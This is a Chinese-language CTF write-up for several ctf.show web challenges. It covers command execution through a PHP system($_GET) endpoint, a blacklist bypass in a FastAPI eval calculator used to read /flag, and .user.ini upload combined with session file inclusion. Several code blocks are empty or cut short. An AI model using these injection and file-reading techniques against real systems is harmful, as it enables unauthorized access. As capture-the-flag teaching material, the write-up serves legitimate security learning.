原谅4
1 | isset($_GET['xbx'])?system($_GET['xbx']):highlight_file(__FILE__); |
一个压缩包里面没有源码就一个瓜而已,好吧,那就是ls去找看看有没有命令可以用了,我们知道/bin
下面有命令,得到三个命令
1 | ls rm sh |
然后sh
把文件读了就行
1 | root@dkhkv2c52uxRFLESq7AS:~# sh /flag 2>&1 |
补充一下知识,从别的师傅哪里看到的
/bin
是下面系统的一些指令。主要放置一些系统的必备执行档例如:cat、cp、chmod、df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar等。
/sbin
一般是指超级用户指令。主要放置一些系统管理的必备程式例如:cfdisk、dhcpcd、dump、e2fsck、fdisk、halt、ifconfig、ifup、ifdown、init、insmod、lilo、lsmod、mke2fs、modprobe、quotacheck、reboot、rmmod、 runlevel、shutdown等。
/usr/bin
是你在后期安装的一些软件的运行脚本。主要放置一些应用软体工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、gzip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、newaliases、nslookup passwd、quota、smb、wget等。
/usr/sbin
放置一些用户安装的系统管理的必备程式例如:dhcpd、httpd、imap、in.*d、inetd、lpd、named、netconfig、nmbd、samba、sendmail、squid、swap、tcpd、tcpdump等。
原谅5_fastapi2
可以先列出来环境变量
1 | https://86ca98b0-4bcf-4d26-bb85-a969bb8b6bac.challenge.ctf.show/ccccalcccc |
然后得到了一堆东西
1 | {"res":["__name__","__doc__","__package__","__loader__","__spec__","__annotations__","__builtins__","__file__","__cached__","Optional","FastAPI","Form","uvicorn","StreamingResponse","BytesIO","app","hello","youdontknow","calc","yl5"],"err":false} |
查看youdontknow
发现了黑名单,这里我们可以使用clear
把东西给清空了
1 | q=list(youdontknow) |
就成功了,可以直接进行文件读取
1 | q=open('/flag').read() |
原谅6_web3
1 |
|
先上传.user.ini
然后打一个session文件包含即可
1 | https://032dbab0-9bd0-49ac-84c2-7d1720ed3950.challenge.ctf.show/?file=.user.ini |
1 | import io |
同时看了一下waf过滤的是关键词
1 |
|
然后还发现根目录没有flag
,后面给列出来才知道在当前目录find / -name \"*flag*\" 2>/dev/null
fastapi2 for 阿狸
上同